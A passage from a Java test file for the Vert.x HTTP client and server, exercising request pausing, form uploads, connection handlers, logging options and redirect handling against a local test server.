ExecutorService exec = Executors.newSingleThreadExecutor();
try {
testDeliverPausedBufferWhenResume(block -> exec.execute(() -> {
try {
Thread.sleep(10);
} catch (InterruptedException e) {
fail(e);
Thread.currentThread().interrupt();
}
block.run();
}));
} finally {
exec.shutdown();
}
}
private void testDeliverPausedBufferWhenResume(Consumer<Runnable> scheduler) throws Exception {
Buffer data = TestUtils.randomBuffer(2048);
int num = 10;
waitFor(num);
List<CompletableFuture<Void>> resumes = Collections.synchronizedList(new ArrayList<>());
for (int i = 0;i < num;i++) {
resumes.add(new CompletableFuture<>());
}
server.requestHandler(req -> {
int idx = Integer.parseInt(req.path().substring(1));
HttpServerResponse resp = req.response();
resumes.get(idx).thenAccept(v -> {
resp.end();
});
resp.setChunked(true).write(data);
});
startServer();
client.close();
client = vertx.createHttpClient(createBaseClientOptions().setMaxPoolSize(1).setKeepAlive(true));
for (int i = 0;i < num;i++) {
int idx = i;
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/" + i, resp -> {
Buffer body = Buffer.buffer();
Thread t = Thread.currentThread();
resp.handler(buff -> {
assertSame(t, Thread.currentThread());
resumes.get(idx).complete(null);
body.appendBuffer(buff);
});
resp.endHandler(v -> {
// assertEquals(data, body);
complete();
});
resp.pause();
scheduler.accept(resp::resume);
}).end();
}
await();
}
@Test
public void testClearPausedBuffersWhenResponseEnds() throws Exception {
Buffer data = TestUtils.randomBuffer(20);
int num = 10;
waitFor(num);
server.requestHandler(req -> {
req.response().end(data);
});
startServer();
client.close();
client = vertx.createHttpClient(createBaseClientOptions().setMaxPoolSize(1).setKeepAlive(true));
for (int i = 0;i < num;i++) {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
assertEquals(data, buff);
complete();
});
resp.pause();
vertx.setTimer(10, id -> {
resp.resume();
});
}).end();
}
await();
}
@Test
public void testPausedHttpServerRequest() throws Exception {
CompletableFuture<Void> resumeCF = new CompletableFuture<>();
Buffer expected = Buffer.buffer();
server.requestHandler(req -> {
req.pause();
AtomicBoolean paused = new AtomicBoolean(true);
Buffer body = Buffer.buffer();
req.handler(buff -> {
assertFalse(paused.get());
body.appendBuffer(buff);
});
resumeCF.thenAccept(v -> {
paused.set(false);
req.resume();
});
req.endHandler(v -> {
assertEquals(expected, body);
req.response().end();
});
});
startServer();
HttpClientRequest req = client.put(DEFAULT_HTTP_PORT, DEFAULT_HTTPS_HOST, DEFAULT_TEST_URI, resp -> {
resp.endHandler(v -> {
testComplete();
});
}).exceptionHandler(this::fail)
.setChunked(true);
while (!req.writeQueueFull()) {
Buffer buff = Buffer.buffer(TestUtils.randomAlphaString(1024));
expected.appendBuffer(buff);
req.write(buff);
}
resumeCF.complete(null);
req.end();
await();
}
@Test
public void testPausedHttpServerRequestDuringLastChunkEndsTheRequest() throws Exception {
server.requestHandler(req -> {
req.handler(buff -> {
assertEquals("small", buff.toString());
req.pause();
});
req.endHandler(v -> {
req.response().end();
});
});
startServer();
client.close();
client = vertx.createHttpClient(createBaseClientOptions().setMaxPoolSize(1));
client.put(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/someuri", resp -> {
complete();
}).end("small");
await();
}
@Test
public void testFormUploadSmallFile() throws Exception {
testFormUploadFile(TestUtils.randomAlphaString(100), false);
}
@Test
public void testFormUploadLargerFile() throws Exception {
testFormUploadFile(TestUtils.randomAlphaString(20000), false);
}
@Test
public void testFormUploadSmallFileStreamToDisk() throws Exception {
testFormUploadFile(TestUtils.randomAlphaString(100), true);
}
@Test
public void testFormUploadLargerFileStreamToDisk() throws Exception {
testFormUploadFile(TestUtils.randomAlphaString(20000), true);
}
private void testFormUploadFile(String contentStr, boolean streamToDisk) throws Exception {
Buffer content = Buffer.buffer(contentStr);
AtomicInteger attributeCount = new AtomicInteger();
server.requestHandler(req -> {
if (req.method() == HttpMethod.POST) {
assertEquals(req.path(), "/form");
req.response().setChunked(true);
req.setExpectMultipart(true);
assertTrue(req.isExpectMultipart());
// Now try setting again, it shouldn't have an effect
req.setExpectMultipart(true);
assertTrue(req.isExpectMultipart());
req.uploadHandler(upload -> {
Buffer tot = Buffer.buffer();
assertEquals("file", upload.name());
assertEquals("tmp-0.txt", upload.filename());
assertEquals("image/gif", upload.contentType());
String uploadedFileName;
if (!streamToDisk) {
upload.handler(buffer -> tot.appendBuffer(buffer));
uploadedFileName = null;
} else {
uploadedFileName = new File(testDir, UUID.randomUUID().toString()).getPath();
upload.streamToFileSystem(uploadedFileName);
}
upload.endHandler(v -> {
if (streamToDisk) {
Buffer uploaded = vertx.fileSystem().readFileBlocking(uploadedFileName);
assertEquals(content, uploaded);
} else {
assertEquals(content, tot);
}
assertTrue(upload.isSizeAvailable());
assertEquals(content.length(), upload.size());
});
});
req.endHandler(v -> {
MultiMap attrs = req.formAttributes();
attributeCount.set(attrs.size());
req.response().end();
});
}
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/form", resp -> {
// assert the response
assertEquals(200, resp.statusCode());
resp.bodyHandler(body -> {
assertEquals(0, body.length());
});
assertEquals(0, attributeCount.get());
testComplete();
});
String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";
Buffer buffer = Buffer.buffer();
String body =
"--" + boundary + "\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"tmp-0.txt\"\r\n" +
"Content-Type: image/gif\r\n" +
"\r\n" +
contentStr + "\r\n" +
"--" + boundary + "--\r\n";
buffer.appendString(body);
req.headers().set("content-length", String.valueOf(buffer.length()));
req.headers().set("content-type", "multipart/form-data; boundary=" + boundary);
req.write(buffer).end();
}));
await();
}
@Test
public void testFormUploadAttributes() throws Exception {
AtomicInteger attributeCount = new AtomicInteger();
server.requestHandler(req -> {
if (req.method() == HttpMethod.POST) {
assertEquals(req.path(), "/form");
req.response().setChunked(true);
req.setExpectMultipart(true);
req.uploadHandler(upload -> upload.handler(buffer -> {
fail("Should get here");
}));
req.endHandler(v -> {
MultiMap attrs = req.formAttributes();
attributeCount.set(attrs.size());
assertEquals("vert x", attrs.get("framework"));
assertEquals("vert x", req.getFormAttribute("framework"));
assertEquals("jvm", attrs.get("runson"));
assertEquals("jvm", req.getFormAttribute("runson"));
req.response().end();
});
}
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/form", resp -> {
// assert the response
assertEquals(200, resp.statusCode());
resp.bodyHandler(body -> {
assertEquals(0, body.length());
});
assertEquals(2, attributeCount.get());
testComplete();
});
try {
Buffer buffer = Buffer.buffer();
// Make sure we have one param that needs url encoding
buffer.appendString("framework=" + URLEncoder.encode("vert x", "UTF-8") + "&runson=jvm", "UTF-8");
req.headers().set("content-length", String.valueOf(buffer.length()));
req.headers().set("content-type", "application/x-www-form-urlencoded");
req.write(buffer).end();
} catch (UnsupportedEncodingException e) {
fail(e.getMessage());
}
}));
await();
}
@Test
public void testFormUploadAttributes2() throws Exception {
AtomicInteger attributeCount = new AtomicInteger();
server.requestHandler(req -> {
if (req.method() == HttpMethod.POST) {
assertEquals(req.path(), "/form");
req.setExpectMultipart(true);
req.uploadHandler(event -> event.handler(buffer -> {
fail("Should not get here");
}));
req.endHandler(v -> {
MultiMap attrs = req.formAttributes();
attributeCount.set(attrs.size());
assertEquals("junit-testUserAlias", attrs.get("origin"));
assertEquals("admin@foo.bar", attrs.get("login"));
assertEquals("admin", attrs.get("pass word"));
req.response().end();
});
}
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.POST, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/form", resp -> {
// assert the response
assertEquals(200, resp.statusCode());
resp.bodyHandler(body -> {
assertEquals(0, body.length());
});
assertEquals(3, attributeCount.get());
testComplete();
});
Buffer buffer = Buffer.buffer();
buffer.appendString("origin=junit-testUserAlias&login=admin%40foo.bar&pass+word=admin");
req.headers().set("content-length", String.valueOf(buffer.length()));
req.headers().set("content-type", "application/x-www-form-urlencoded");
req.write(buffer).end();
}));
await();
}
@Test
public void testHostHeaderOverridePossible() {
server.requestHandler(req -> {
assertEquals("localhost:4444", req.host());
req.response().end();
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> testComplete());
req.setHost("localhost:4444");
req.end();
}));
await();
}
@Test
public void testResponseBodyWriteFixedString() {
String body = "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.";
Buffer bodyBuff = Buffer.buffer(body);
server.requestHandler(req -> {
req.response().setChunked(true);
req.response().write(body);
req.response().end();
});
server.listen(onSuccess(s -> {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI, resp -> {
resp.bodyHandler(buff -> {
assertEquals(bodyBuff, buff);
testComplete();
});
}).end();
}));
await();
}
@Test
public void testResponseDataTimeout() {
Buffer expected = TestUtils.randomBuffer(1000);
server.requestHandler(req -> {
req.response().setChunked(true).write(expected);
});
server.listen(onSuccess(s -> {
HttpClientRequest req = client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, DEFAULT_TEST_URI);
Buffer received = Buffer.buffer();
req.handler(resp -> {
req.setTimeout(500);
resp.handler(received::appendBuffer);
});
AtomicInteger count = new AtomicInteger();
req.exceptionHandler(t -> {
if (count.getAndIncrement() == 0) {
assertTrue(t instanceof TimeoutException);
assertEquals(expected, received);
testComplete();
}
});
req.sendHead();
}));
await();
}
@Test
public void testClientMultiThreaded() throws Exception {
int numThreads = 10;
Thread[] threads = new Thread[numThreads];
CountDownLatch latch = new CountDownLatch(numThreads);
server.requestHandler(req -> {
req.response().putHeader("count", req.headers().get("count"));
req.response().end();
}).listen(ar -> {
assertTrue(ar.succeeded());
for (int i = 0; i < numThreads; i++) {
int index = i;
threads[i] = new Thread() {
public void run() {
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/", res -> {
assertEquals(200, res.statusCode());
assertEquals(String.valueOf(index), res.headers().get("count"));
latch.countDown();
}).putHeader("count", String.valueOf(index)).end();
}
};
threads[i].start();
}
});
awaitLatch(latch);
for (int i = 0; i < numThreads; i++) {
threads[i].join();
}
}
@Test
public void testInVerticle() throws Exception {
testInVerticle(false);
}
private void testInVerticle(boolean worker) throws Exception {
client.close();
server.close();
class MyVerticle extends AbstractVerticle {
Context ctx;
@Override
public void start() {
ctx = Vertx.currentContext();
if (worker) {
assertTrue(ctx.isWorkerContext());
} else {
assertTrue(ctx.isEventLoopContext());
}
Thread thr = Thread.currentThread();
server = vertx.createHttpServer(new HttpServerOptions().setPort(DEFAULT_HTTP_PORT));
server.requestHandler(req -> {
req.response().end();
assertSame(ctx, Vertx.currentContext());
if (!worker) {
assertSame(thr, Thread.currentThread());
}
});
server.listen(ar -> {
assertTrue(ar.succeeded());
assertSame(ctx, Vertx.currentContext());
if (!worker) {
assertSame(thr, Thread.currentThread());
}
client = vertx.createHttpClient(new HttpClientOptions());
client.request(HttpMethod.GET, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/", res -> {
assertSame(ctx, Vertx.currentContext());
if (!worker) {
assertSame(thr, Thread.currentThread());
}
assertEquals(200, res.statusCode());
testComplete();
}).end();
});
}
}
MyVerticle verticle = new MyVerticle();
vertx.deployVerticle(verticle, new DeploymentOptions().setWorker(worker));
await();
}
@Test
public void testUseInMultithreadedWorker() throws Exception {
class MyVerticle extends AbstractVerticle {
@Override
public void start() {
assertIllegalStateException(() -> server = vertx.createHttpServer(new HttpServerOptions()));
assertIllegalStateException(() -> client = vertx.createHttpClient(new HttpClientOptions()));
testComplete();
}
}
MyVerticle verticle = new MyVerticle();
vertx.deployVerticle(verticle, new DeploymentOptions().setWorker(true).setMultiThreaded(true));
await();
}
@Test
public void testMultipleServerClose() {
this.server = vertx.createHttpServer(new HttpServerOptions().setPort(DEFAULT_HTTP_PORT));
AtomicInteger times = new AtomicInteger();
// We assume the endHandler and the close completion handler are invoked in the same context task
ThreadLocal stack = new ThreadLocal();
stack.set(true);
server.requestStream().endHandler(v -> {
assertNull(stack.get());
assertTrue(Vertx.currentContext().isEventLoopContext());
times.incrementAndGet();
});
server.close(ar1 -> {
assertNull(stack.get());
assertTrue(Vertx.currentContext().isEventLoopContext());
server.close(ar2 -> {
server.close(ar3 -> {
assertEquals(1, times.get());
testComplete();
});
});
});
await();
}
@Test
public void testClearHandlersOnEnd() {
String path = "/some/path";
server = vertx.createHttpServer(createBaseServerOptions());
server.requestHandler(req -> {
req.endHandler(v -> {
try {
req.endHandler(null);
req.exceptionHandler(null);
req.handler(null);
req.bodyHandler(null);
req.uploadHandler(null);
} catch (Exception e) {
fail("Was expecting to set to null the handlers when the request is completed");
return;
}
HttpServerResponse resp = req.response();
resp.setStatusCode(200).end();
try {
resp.endHandler(null);
resp.exceptionHandler(null);
resp.drainHandler(null);
resp.bodyEndHandler(null);
resp.closeHandler(null);
resp.headersEndHandler(null);
} catch (Exception e) {
fail("Was expecting to set to null the handlers when the response is completed");
}
});
});
server.listen(ar -> {
assertTrue(ar.succeeded());
HttpClientRequest req = client.request(HttpMethod.GET, HttpTestBase.DEFAULT_HTTP_PORT, HttpTestBase.DEFAULT_HTTP_HOST, path);
AtomicInteger count = new AtomicInteger();
req.handler(resp -> {
resp.endHandler(v -> {
try {
resp.endHandler(null);
resp.exceptionHandler(null);
resp.handler(null);
resp.bodyHandler(null);
} catch (Exception e) {
fail("Was expecting to set to null the handlers when the response is completed");
return;
}
if (count.incrementAndGet() == 2) {
testComplete();
}
});
});
req.endHandler(done -> {
try {
req.handler(null);
req.exceptionHandler(null);
req.endHandler(null);
req.drainHandler(null);
req.connectionHandler(null);
req.continueHandler(null);
} catch (Exception e) {
fail("Was expecting to set to null the handlers when the response is completed");
return;
}
if (count.incrementAndGet() == 2) {
testComplete();
}
});
req.end();
});
await();
}
@Test
public void testSetHandlersOnEnd() throws Exception {
String path = "/some/path";
server.requestHandler(req -> req.response().setStatusCode(200).end());
startServer();
HttpClientRequest req = client.request(HttpMethod.GET, HttpTestBase.DEFAULT_HTTP_PORT, HttpTestBase.DEFAULT_HTTP_HOST, path);
req.handler(resp -> {
});
req.endHandler(done -> {
try {
req.handler(arg -> {
});
fail();
} catch (Exception ignore) {
}
try {
req.exceptionHandler(arg -> {
});
fail();
} catch (Exception ignore) {
}
try {
req.endHandler(arg -> {
});
fail();
} catch (Exception ignore) {
}
testComplete();
});
req.end();
await();
}
@Test
public void testRequestEnded() {
server.requestHandler(req -> {
assertFalse(req.isEnded());
req.endHandler(v -> {
assertTrue(req.isEnded());
try {
req.endHandler(v2 -> {});
fail("Shouldn't be able to set end handler");
} catch (IllegalStateException e) {
// OK
}
try {
req.setExpectMultipart(true);
fail("Shouldn't be able to set expect multipart");
} catch (IllegalStateException e) {
// OK
}
try {
req.bodyHandler(v2 -> {
});
fail("Shouldn't be able to set body handler");
} catch (IllegalStateException e) {
// OK
}
try {
req.handler(v2 -> {
});
fail("Shouldn't be able to set handler");
} catch (IllegalStateException e) {
// OK
}
req.response().setStatusCode(200).end();
});
});
server.listen(ar -> {
assertTrue(ar.succeeded());
client.getNow(HttpTestBase.DEFAULT_HTTP_PORT, HttpTestBase.DEFAULT_HTTP_HOST, "/blah", resp -> {
assertEquals(200, resp.statusCode());
testComplete();
});
});
await();
}
@Test
public void testRequestEndedNoEndHandler() {
server.requestHandler(req -> {
assertFalse(req.isEnded());
req.response().setStatusCode(200).end();
vertx.setTimer(500, v -> {
assertTrue(req.isEnded());
try {
req.endHandler(v2 -> {
});
fail("Shouldn't be able to set end handler");
} catch (IllegalStateException e) {
// OK
}
try {
req.setExpectMultipart(true);
fail("Shouldn't be able to set expect multipart");
} catch (IllegalStateException e) {
// OK
}
try {
req.bodyHandler(v2 -> {
});
fail("Shouldn't be able to set body handler");
} catch (IllegalStateException e) {
// OK
}
try {
req.handler(v2 -> {
});
fail("Shouldn't be able to set handler");
} catch (IllegalStateException e) {
// OK
}
testComplete();
});
});
server.listen(ar -> {
assertTrue(ar.succeeded());
client.getNow(HttpTestBase.DEFAULT_HTTP_PORT, HttpTestBase.DEFAULT_HTTP_HOST, "/blah", resp -> {
assertEquals(200, resp.statusCode());
});
});
await();
}
@Test
public void testInMultithreadedWorker() throws Exception {
vertx.deployVerticle(new AbstractVerticle() {
@Override
public void start() throws Exception {
assertTrue(Vertx.currentContext().isWorkerContext());
assertTrue(Vertx.currentContext().isMultiThreadedWorkerContext());
assertTrue(Context.isOnWorkerThread());
try {
vertx.createHttpServer();
fail("Should throw exception");
} catch (IllegalStateException e) {
// OK
}
try {
vertx.createHttpClient();
fail("Should throw exception");
} catch (IllegalStateException e) {
// OK
}
testComplete();
}
}, new DeploymentOptions().setWorker(true).setMultiThreaded(true));
await();
}
@Test
public void testAbsoluteURIServer() {
server.close();
// Listen on all addresses
server = vertx.createHttpServer(createBaseServerOptions().setHost("0.0.0.0"));
server.requestHandler(req -> {
String absURI = req.absoluteURI();
assertEquals(req.scheme() + "://localhost:8080/path", absURI);
req.response().end();
});
server.listen(onSuccess(s -> {
String host = "localhost";
String path = "/path";
int port = 8080;
client.getNow(port, host, path, resp -> {
assertEquals(200, resp.statusCode());
testComplete();
});
}));
await();
}
@Test
public void testDumpManyRequestsOnQueue() throws Exception {
int sendRequests = 10000;
AtomicInteger receivedRequests = new AtomicInteger();
vertx.createHttpServer(createBaseServerOptions()).requestHandler(r-> {
r.response().end();
if (receivedRequests.incrementAndGet() == sendRequests) {
testComplete();
}
}).listen(onSuccess(s -> {
HttpClientOptions ops = createBaseClientOptions()
.setDefaultPort(DEFAULT_HTTP_PORT)
.setPipelining(true)
.setKeepAlive(true);
HttpClient client = vertx.createHttpClient(ops);
IntStream.range(0, sendRequests).forEach(x -> client.getNow("/", r -> {}));
}));
await();
}
@Test
public void testOtherMethodWithRawMethod() throws Exception {
try {
client.request(HttpMethod.OTHER, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
}).end();
fail();
} catch (IllegalStateException expected) {
}
}
@Test
public void testOtherMethodRequest() throws Exception {
server.requestHandler(r -> {
assertEquals(HttpMethod.OTHER, r.method());
assertEquals("COPY", r.rawMethod());
r.response().end();
}).listen(onSuccess(s -> {
client.request(HttpMethod.OTHER, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
testComplete();
}).setRawMethod("COPY").end();
}));
await();
}
@Test
public void testClientConnectionHandler() throws Exception {
server.requestHandler(req -> {
req.response().end();
});
CountDownLatch listenLatch = new CountDownLatch(1);
server.listen(onSuccess(s -> listenLatch.countDown()));
awaitLatch(listenLatch);
AtomicInteger status = new AtomicInteger();
HttpClientRequest req = client.post(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(1, status.getAndIncrement());
testComplete();
});
req.connectionHandler(conn -> {
assertEquals(0, status.getAndIncrement());
});
req.end();
await();
}
@Test
public void testServerConnectionHandler() throws Exception {
AtomicInteger status = new AtomicInteger();
AtomicReference<HttpConnection> connRef = new AtomicReference<>();
server.connectionHandler(conn -> {
assertEquals(0, status.getAndIncrement());
assertNull(connRef.getAndSet(conn));
});
server.requestHandler(req -> {
assertEquals(1, status.getAndIncrement());
assertSame(connRef.get(), req.connection());
req.response().end();
});
CountDownLatch listenLatch = new CountDownLatch(1);
server.listen(onSuccess(s -> listenLatch.countDown()));
awaitLatch(listenLatch);
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
testComplete();
});
await();
}
@Test
public void testClientConnectionClose() throws Exception {
// Test client connection close + server close handler
CountDownLatch latch = new CountDownLatch(1);
server.requestHandler(req -> {
AtomicInteger len = new AtomicInteger();
req.handler(buff -> {
if (len.addAndGet(buff.length()) == 1024) {
latch.countDown();
}
});
req.connection().closeHandler(v -> {
testComplete();
});
});
CountDownLatch listenLatch = new CountDownLatch(1);
server.listen(onSuccess(s -> listenLatch.countDown()));
awaitLatch(listenLatch);
HttpClientRequest req = client.post(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
fail();
});
req.setChunked(true);
req.write(TestUtils.randomBuffer(1024));
awaitLatch(latch);
req.connection().close();
await();
}
@Test
public void testServerConnectionClose() throws Exception {
// Test server connection close + client close handler
server.requestHandler(req -> {
req.connection().close();
});
CountDownLatch listenLatch = new CountDownLatch(1);
server.listen(onSuccess(s -> listenLatch.countDown()));
awaitLatch(listenLatch);
HttpClientRequest req = client.post(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
fail();
});
req.connectionHandler(conn -> {
conn.closeHandler(v -> {
testComplete();
});
});
req.sendHead();
await();
}
@Test
public void testNoLogging() throws Exception {
TestLoggerFactory factory = testLogging();
assertFalse(factory.hasName("io.netty.handler.codec.http2.Http2FrameLogger"));
}
@Test
public void testServerLogging() throws Exception {
server.close();
server = vertx.createHttpServer(createBaseServerOptions().setLogActivity(true));
TestLoggerFactory factory = testLogging();
if (this instanceof Http1xTest) {
assertTrue(factory.hasName("io.netty.handler.logging.LoggingHandler"));
} else {
assertTrue(factory.hasName("io.netty.handler.codec.http2.Http2FrameLogger"));
}
}
@Test
public void testClientLogging() throws Exception {
client.close();
client = vertx.createHttpClient(createBaseClientOptions().setLogActivity(true));
TestLoggerFactory factory = testLogging();
if (this instanceof Http1xTest) {
assertTrue(factory.hasName("io.netty.handler.logging.LoggingHandler"));
} else {
assertTrue(factory.hasName("io.netty.handler.codec.http2.Http2FrameLogger"));
}
}
@Test
public void testClientLocalAddress() throws Exception {
String expectedAddress = InetAddress.getLocalHost().getHostAddress();
client.close();
client = vertx.createHttpClient(createBaseClientOptions().setLocalAddress(expectedAddress));
server.requestHandler(req -> {
assertEquals(expectedAddress, req.remoteAddress().host());
req.response().end();
});
startServer();
client.getNow(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(200, resp.statusCode());
testComplete();
});
await();
}
@Test
public void testFollowRedirectGetOn301() throws Exception {
testFollowRedirect(HttpMethod.GET, HttpMethod.GET, 301, 200, 2, "http://localhost:8080/redirected", "http://localhost:8080/redirected");
}
@Test
public void testFollowRedirectPostOn301() throws Exception {
testFollowRedirect(HttpMethod.POST, HttpMethod.GET, 301, 301, 1, "http://localhost:8080/redirected", "http://localhost:8080/somepath");
}
@Test
public void testFollowRedirectPutOn301() throws Exception {
testFollowRedirect(HttpMethod.PUT, HttpMethod.GET, 301, 301, 1, "http://localhost:8080/redirected", "http://localhost:8080/somepath");
}
@Test
public void testFollowRedirectGetOn302() throws Exception {
testFollowRedirect(HttpMethod.GET, HttpMethod.GET, 302, 200, 2, "http://localhost:8080/redirected", "http://localhost:8080/redirected");
}
@Test
public void testFollowRedirectPostOn302() throws Exception {
testFollowRedirect(HttpMethod.POST, HttpMethod.GET, 302, 302, 1, "http://localhost:8080/redirected", "http://localhost:8080/somepath");
}
@Test
public void testFollowRedirectPutOn302() throws Exception {
testFollowRedirect(HttpMethod.PUT, HttpMethod.GET, 302, 302, 1, "http://localhost:8080/redirected", "http://localhost:8080/somepath");
}
@Test
public void testFollowRedirectGetOn303() throws Exception {
testFollowRedirect(HttpMethod.GET, HttpMethod.GET, 303, 200, 2, "http://localhost:8080/redirected", "http://localhost:8080/redirected");
}
@Test
public void testFollowRedirectPostOn303() throws Exception {
testFollowRedirect(HttpMethod.POST, HttpMethod.GET, 303, 200, 2, "http://localhost:8080/redirected", "http://localhost:8080/redirected");
}
@Test
public void testFollowRedirectPutOn303() throws Exception {
testFollowRedirect(HttpMethod.PUT, HttpMethod.GET, 303, 200, 2, "http://localhost:8080/redirected", "http://localhost:8080/redirected");
}
@Test
public void testFollowRedirectNotOn304() throws Exception {
testFollowRedirect(HttpMethod.GET, HttpMethod.GET, 304, 304, 1, "http://localhost:8080/redirected", "http://localhost:8080/somepath");
}
@Test
public void testFollowRedirectGetOn307() throws Exception {
testFollowRedirect(HttpMethod.GET, HttpMethod.GET, 307, 200, 2, "http://localhost:8080/redirected", "http://localhost:8080/redirected");
}
@Test
public void testFollowRedirectPostOn307() throws Exception {
testFollowRedirect(HttpMethod.POST, HttpMethod.POST, 307, 307, 1, "http://localhost:8080/redirected", "http://localhost:8080/somepath");
}
@Test
public void testFollowRedirectPutOn307() throws Exception {
testFollowRedirect(HttpMethod.PUT, HttpMethod.PUT, 307, 307, 1, "http://localhost:8080/redirected", "http://localhost:8080/somepath");
}
@Test
public void testFollowRedirectWithRelativeLocation() throws Exception {
testFollowRedirect(HttpMethod.GET, HttpMethod.GET, 301, 200, 2, "/another", "http://localhost:8080/another");
}
private void testFollowRedirect(
HttpMethod method,
HttpMethod expectedMethod,
int statusCode,
int expectedStatus,
int expectedRequests,
String location,
String expectedURI) throws Exception {
String s;
if (createBaseServerOptions().isSsl() && location.startsWith("http://")) {
s = "https://" + location.substring("http://".length());
} else {
s = location;
}
String t;
if (createBaseServerOptions().isSsl() && expectedURI.startsWith("http://")) {
t = "https://" + expectedURI.substring("http://".length());
} else {
t = expectedURI;
}
AtomicInteger numRequests = new AtomicInteger();
server.requestHandler(req -> {
HttpServerResponse resp = req.response();
if (numRequests.getAndIncrement() == 0) {
resp.setStatusCode(statusCode);
if (s != null) {
resp.putHeader(HttpHeaders.LOCATION, s);
}
resp.end();
} else {
assertEquals(t, req.absoluteURI());
assertEquals("foo_value", req.getHeader("foo"));
assertEquals(expectedMethod, req.method());
resp.end();
}
});
startServer();
client.request(method, DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(resp.request().absoluteURI(), t);
assertEquals(expectedRequests, numRequests.get());
assertEquals(expectedStatus, resp.statusCode());
testComplete();
}).
putHeader("foo", "foo_value").
setFollowRedirects(true).
end();
await();
}
@Test
public void testFollowRedirectWithBody() throws Exception {
testFollowRedirectWithBody(Function.identity());
}
@Test
public void testFollowRedirectWithPaddedBody() throws Exception {
testFollowRedirectWithBody(buff -> TestUtils.leftPad(1, buff));
}
private void testFollowRedirectWithBody(Function<Buffer, Buffer> translator) throws Exception {
Buffer expected = TestUtils.randomBuffer(2048);
AtomicBoolean redirected = new AtomicBoolean();
server.requestHandler(req -> {
if (redirected.compareAndSet(false, true)) {
assertEquals(HttpMethod.PUT, req.method());
req.bodyHandler(body -> {
assertEquals(body, expected);
String scheme = createBaseServerOptions().isSsl() ? "https" : "http";
req.response().setStatusCode(303).putHeader(HttpHeaders.LOCATION, scheme + "://localhost:8080/whatever").end();
});
} else {
assertEquals(HttpMethod.GET, req.method());
req.response().end();
}
});
startServer();
client.put(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(200, resp.statusCode());
testComplete();
}).setFollowRedirects(true).end(translator.apply(expected));
await();
}
@Test
public void testFollowRedirectWithChunkedBody() throws Exception {
Buffer buff1 = Buffer.buffer(TestUtils.randomAlphaString(2048));
Buffer buff2 = Buffer.buffer(TestUtils.randomAlphaString(2048));
Buffer expected = Buffer.buffer().appendBuffer(buff1).appendBuffer(buff2);
AtomicBoolean redirected = new AtomicBoolean();
CountDownLatch latch = new CountDownLatch(1);
server.requestHandler(req -> {
boolean redirect = redirected.compareAndSet(false, true);
if (redirect) {
latch.countDown();
}
if (redirect) {
assertEquals(HttpMethod.PUT, req.method());
req.bodyHandler(body -> {
assertEquals(body, expected);
String scheme = createBaseServerOptions().isSsl() ? "https" : "http";
req.response().setStatusCode(303).putHeader(HttpHeaders.LOCATION, scheme + "://localhost:8080/whatever").end();
});
} else {
assertEquals(HttpMethod.GET, req.method());
req.response().end();
}
});
startServer();
HttpClientRequest req = client.put(DEFAULT_HTTP_PORT, DEFAULT_HTTP_HOST, "/somepath", resp -> {
assertEquals(200, resp.statusCode());
testComplete();
}).setFollowRedirects(true)
.setChunked(true)
.write(buff1);
awaitLatch(latch);
req.end(buff2);
await();
}
@Test
public void testFollowRedirectWithRequestNotEnded() throws Exception {
testFollowRedirectWithRequestNotEnded(false);
}
@Test
public void testFollowRedirectWithRequestNotEndedFailing() throws Exception {
testFollowRedirectWithRequestNotEnded(true);
}
private void testFollowRedirectWithRequestNotEnded(boolean expectFail) throws Exception {
Buffer buff1 = Buffer.buffer(TestUtils.randomAlphaString(2048));
Buffer buff2 = Buffer.buffer(TestUtils.randomAlphaString(2048));
Buffer expected = Buffer.buffer().appendBuffer(buff1).appendBuffer(buff2);
AtomicBoolean redirected = new AtomicBoolean();
CountDownLatch latch = new CountDownLatch(1);
server.requestHandler(req -> {
boolean redirect = redirected.compareAndSet(false, true);
if (redirect) {
Buffer body = Buffer.buffer();
req.handler(buff -> {
if (body.length() == 0) {
HttpServerResponse resp = req.response();
String scheme = createBaseServerOptions().isSsl() ? "https" : "http";
resp.setStatusCode(303).putHeader(HttpHeaders.LOCATION, scheme + "://localhost:8080/whatever");
if (expectFail) {
resp.setChunked(true).write("whatever");
vertx.runOnContext(v -> {
resp.close();
});
} else {
